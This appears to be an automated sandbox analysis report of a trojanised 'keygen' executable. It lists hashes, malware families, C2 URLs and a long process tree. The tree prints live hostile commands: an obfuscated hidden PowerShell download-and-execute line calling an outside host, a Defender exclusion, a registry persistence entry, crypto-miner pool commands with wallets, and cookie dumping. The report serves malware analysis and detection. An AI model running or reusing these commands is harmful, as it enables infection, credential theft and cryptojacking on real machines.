Analysis
-
max time kernel
20s -
max time network
605s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
04-04-2021 11:55
General
-
Target
Aster.7.1.2.4.16.11.3.1.2.6.v.keygen.by.CORE.exe
-
Size
5.2MB
-
MD5
9e12e3e503674039878cb7542a30f33c
-
SHA1
789b75006358e62cff26877e4fc5fdd31f7e8a76
-
SHA256
714b89115f9f4b3979e2f70ad6eb9e7d81fbcd8a8c984d7271adf01c8ecbcd36
-
SHA512
0091f4b40a06cadb0e12f1066dcb2c79a0ffa60bcc873761751e3f7feb85e30a38ba29cbbb29f3f32fa810236055044978533186942c07d0070e64b3e4dac544
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
http://labsclub.com/welcome
Extracted
Family
azorult
C2
http://kvaka.li/1210776429.php
Extracted
Family
metasploit
Version
windows/single_exec
Extracted
Family
smokeloader
Version
2020
C2
http://999080321newfolder1002002131-service1002.space/
http://999080321newfolder1002002231-service1002.space/
http://999080321newfolder3100231-service1002.space/
http://999080321newfolder1002002431-service1002.space/
http://999080321newfolder1002002531-service1002.space/
http://999080321newfolder33417-012425999080321.space/
http://999080321test125831-service10020125999080321.space/
http://999080321test136831-service10020125999080321.space/
http://999080321test147831-service10020125999080321.space/
http://999080321test146831-service10020125999080321.space/
http://999080321test134831-service10020125999080321.space/
http://999080321est213531-service1002012425999080321.ru/
http://999080321yes1t3481-service10020125999080321.ru/
http://999080321test13561-service10020125999080321.su/
http://999080321test14781-service10020125999080321.info/
http://999080321test13461-service10020125999080321.net/
http://999080321test15671-service10020125999080321.tech/
http://999080321test12671-service10020125999080321.online/
http://999080321utest1341-service10020125999080321.ru/
http://999080321uest71-service100201dom25999080321.ru/
rc4.i32
rc4.i32
Extracted
Family
raccoon
Botnet
9420f36ff86e78bbb8ce4073fa910f921ce2bebf
Attributes
-
url4cnc
https://tttttt.me/hobamantfr1
rc4.plain
rc4.plain
Extracted
Family
raccoon
Botnet
afefd33a49c7cbd55d417545269920f24c85aa37
Attributes
-
url4cnc
https://telete.in/jagressor_kz
rc4.plain
rc4.plain
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba Payload 3 IoCs
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
XMRig Miner Payload 8 IoCs
-
Executes dropped EXE 12 IoCs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 7 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 10 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
-
Suspicious use of SetThreadContext 1 IoCs
-
Drops file in Windows directory 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 16 IoCs
-
Delays execution with timeout.exe 10 IoCs
-
Enumerates system info in registry 2 TTPs 2 IoCs
-
Kills process with taskkill 11 IoCs
-
Modifies Internet Explorer settings 1 TTPs 2 IoCs
-
Modifies registry class 64 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Runs ping.exe 1 TTPs 6 IoCs
-
Script User-Agent 12 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 20 IoCs
-
Suspicious use of AdjustPrivilegeToken 41 IoCs
-
Suspicious use of SetWindowsHookEx 3 IoCs
-
Suspicious use of WriteProcessMemory 60 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Aster.7.1.2.4.16.11.3.1.2.6.v.keygen.by.CORE.exe"C:\Users\Admin\AppData\Local\Temp\Aster.7.1.2.4.16.11.3.1.2.6.v.keygen.by.CORE.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵
- Executes dropped EXE
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Y7H1LFHI37\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\Y7H1LFHI37\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Drops file in Windows directory
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Y7H1LFHI37\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\Y7H1LFHI37\multitimer.exe" 1 3.1617537379.6069a96313de5 1016⤵
-
C:\Users\Admin\AppData\Local\Temp\Y7H1LFHI37\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\Y7H1LFHI37\multitimer.exe" 2 3.1617537379.6069a96313de57⤵
-
C:\Users\Admin\AppData\Local\Temp\mnfukpd2lmy\vict.exe"C:\Users\Admin\AppData\Local\Temp\mnfukpd2lmy\vict.exe" /VERYSILENT /id=5358⤵
-
C:\Users\Admin\AppData\Local\Temp\is-GARB2.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-GARB2.tmp\vict.tmp" /SL5="$30200,870426,780800,C:\Users\Admin\AppData\Local\Temp\mnfukpd2lmy\vict.exe" /VERYSILENT /id=5359⤵
-
C:\Users\Admin\AppData\Local\Temp\is-ILAN7.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-ILAN7.tmp\win1host.exe" 53510⤵
-
C:\Users\Admin\AppData\Local\Temp\hHf7UHqMd.exe"C:\Users\Admin\AppData\Local\Temp\hHf7UHqMd.exe"11⤵
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"12⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Marito.gif12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe13⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\sayduhmku52\o4rsz1dxogy.exe"C:\Users\Admin\AppData\Local\Temp\sayduhmku52\o4rsz1dxogy.exe" /VERYSILENT8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-J9GEQ.tmp\o4rsz1dxogy.tmp"C:\Users\Admin\AppData\Local\Temp\is-J9GEQ.tmp\o4rsz1dxogy.tmp" /SL5="$201FA,2592217,780800,C:\Users\Admin\AppData\Local\Temp\sayduhmku52\o4rsz1dxogy.exe" /VERYSILENT9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-RLBT1.tmp\winlthsth.exe"C:\Users\Admin\AppData\Local\Temp\is-RLBT1.tmp\winlthsth.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\eXbR0DO6L.exe"C:\Users\Admin\AppData\Local\Temp\eXbR0DO6L.exe"11⤵
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"12⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Marito.gif12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe13⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\buhztgxxbvn\iaojiozbyt0.exe"C:\Users\Admin\AppData\Local\Temp\buhztgxxbvn\iaojiozbyt0.exe" /ustwo INSTALL8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "iaojiozbyt0.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\buhztgxxbvn\iaojiozbyt0.exe" & exit9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "iaojiozbyt0.exe" /f10⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\uju0xdfk25s\mig5mb54atg.exe"C:\Users\Admin\AppData\Local\Temp\uju0xdfk25s\mig5mb54atg.exe" /quiet SILENT=1 AF=7568⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\uju0xdfk25s\mig5mb54atg.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\uju0xdfk25s\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1617278286 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"9⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\ld2y4ytjyus\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\ld2y4ytjyus\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵
-
-
C:\Users\Admin\AppData\Local\Temp\5fpvzdhuopc\vpn.exe"C:\Users\Admin\AppData\Local\Temp\5fpvzdhuopc\vpn.exe" /silent /subid=4828⤵
-
-
C:\Users\Admin\AppData\Local\Temp\2wxqg43vvav\o31c1zcx4hl.exe"C:\Users\Admin\AppData\Local\Temp\2wxqg43vvav\o31c1zcx4hl.exe"8⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\2wxqg43vvav\o31c1zcx4hl.exe"9⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 300010⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\iq0sdmaqwmw\app.exe"C:\Users\Admin\AppData\Local\Temp\iq0sdmaqwmw\app.exe" /8-238⤵
-
-
C:\Users\Admin\AppData\Local\Temp\rfln1k1pfm1\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\rfln1k1pfm1\Setup3310.exe" /Verysilent /subid=5778⤵
-
-
C:\Users\Admin\AppData\Local\Temp\k1vdlxj00wd\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\k1vdlxj00wd\cpyrix.exe" /VERYSILENT8⤵
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe9⤵
-
C:\Users\Admin\AppData\Local\Temp\1ead012f-d185-4c77-9b92-979eff6396ba\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\1ead012f-d185-4c77-9b92-979eff6396ba\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\1ead012f-d185-4c77-9b92-979eff6396ba\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run10⤵
-
C:\Users\Admin\AppData\Local\Temp\1ead012f-d185-4c77-9b92-979eff6396ba\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\1ead012f-d185-4c77-9b92-979eff6396ba\AdvancedRun.exe" /SpecialRun 4101d8 609211⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\1.exe" -Force10⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 110⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 111⤵
- Delays execution with timeout.exe
-
-
-
C:\Users\Admin\AppData\Roaming\1.exe"C:\Users\Admin\AppData\Roaming\1.exe"10⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5844 -s 198010⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe9⤵
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"10⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\GS6XHKMCYR\setups.exe"C:\Users\Admin\AppData\Local\Temp\GS6XHKMCYR\setups.exe" ll5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-63Q2I.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-63Q2I.tmp\setups.tmp" /SL5="$70154,454998,229376,C:\Users\Admin\AppData\Local\Temp\GS6XHKMCYR\setups.exe" ll6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full_Version.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Full_Version.exe"4⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"5⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\C7F9.tmp.exe"C:\Users\Admin\AppData\Roaming\C7F9.tmp.exe"5⤵
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999996⤵
-
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 99996⤵
-
-
-
C:\Users\Admin\AppData\Roaming\C923.tmp.exe"C:\Users\Admin\AppData\Roaming\C923.tmp.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\C923.tmp.exe6⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 37⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
-
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Users\Admin\AppData\Local\Temp\is-78SP9.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-78SP9.tmp\vpn.tmp" /SL5="$40218,15170975,270336,C:\Users\Admin\AppData\Local\Temp\5fpvzdhuopc\vpn.exe" /silent /subid=4821⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "2⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap09013⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "2⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap09013⤵
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall2⤵
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\is-V42D2.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-V42D2.tmp\IBInstaller_97039.tmp" /SL5="$201F2,14574507,721408,C:\Users\Admin\AppData\Local\Temp\ld2y4ytjyus\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq1⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-RFVUA.tmp\{app}\microsoft.cab -F:* %ProgramData%2⤵
-
C:\Windows\SysWOW64\expand.exeexpand C:\Users\Admin\AppData\Local\Temp\is-RFVUA.tmp\{app}\microsoft.cab -F:* C:\ProgramData3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://egypthistoricart.online/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039^¶m=2⤵
-
-
C:\ProgramData\regid.1993-06.com.microsoft\client32.exe"C:\ProgramData\regid.1993-06.com.microsoft\client32.exe"2⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\client32.exe" /f2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\is-RFVUA.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-RFVUA.tmp\{app}\chrome_proxy.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-RFVUA.tmp\{app}\chrome_proxy.exe"3⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 44⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\is-U8SRT.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-U8SRT.tmp\Setup3310.tmp" /SL5="$801EA,138429,56832,C:\Users\Admin\AppData\Local\Temp\rfln1k1pfm1\Setup3310.exe" /Verysilent /subid=5771⤵
-
C:\Users\Admin\AppData\Local\Temp\is-F4T8I.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-F4T8I.tmp\Setup.exe" /Verysilent2⤵
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 9484⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 9564⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 10804⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 11684⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 11804⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 12444⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 15044⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 15724⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 15404⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 15844⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 15524⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 16164⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 1244⤵
- Program crash
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5512 -s 28604⤵
- Program crash
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-MUJTG.tmp\LabPicV3.tmp"C:\Users\Admin\AppData\Local\Temp\is-MUJTG.tmp\LabPicV3.tmp" /SL5="$203BE,239334,155648,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-EBLC1.tmp\ppppppfy.exe"C:\Users\Admin\AppData\Local\Temp\is-EBLC1.tmp\ppppppfy.exe" /S /UID=lab2145⤵
-
C:\Program Files\Uninstall Information\OBJVKSZTZQ\prolab.exe"C:\Program Files\Uninstall Information\OBJVKSZTZQ\prolab.exe" /VERYSILENT6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-GFT1N.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-GFT1N.tmp\prolab.tmp" /SL5="$703AE,575243,216576,C:\Program Files\Uninstall Information\OBJVKSZTZQ\prolab.exe" /VERYSILENT7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\c7-6f3f0-468-a06b4-9fb3975d0f8de\Fishyhahofi.exe"C:\Users\Admin\AppData\Local\Temp\c7-6f3f0-468-a06b4-9fb3975d0f8de\Fishyhahofi.exe"6⤵
-
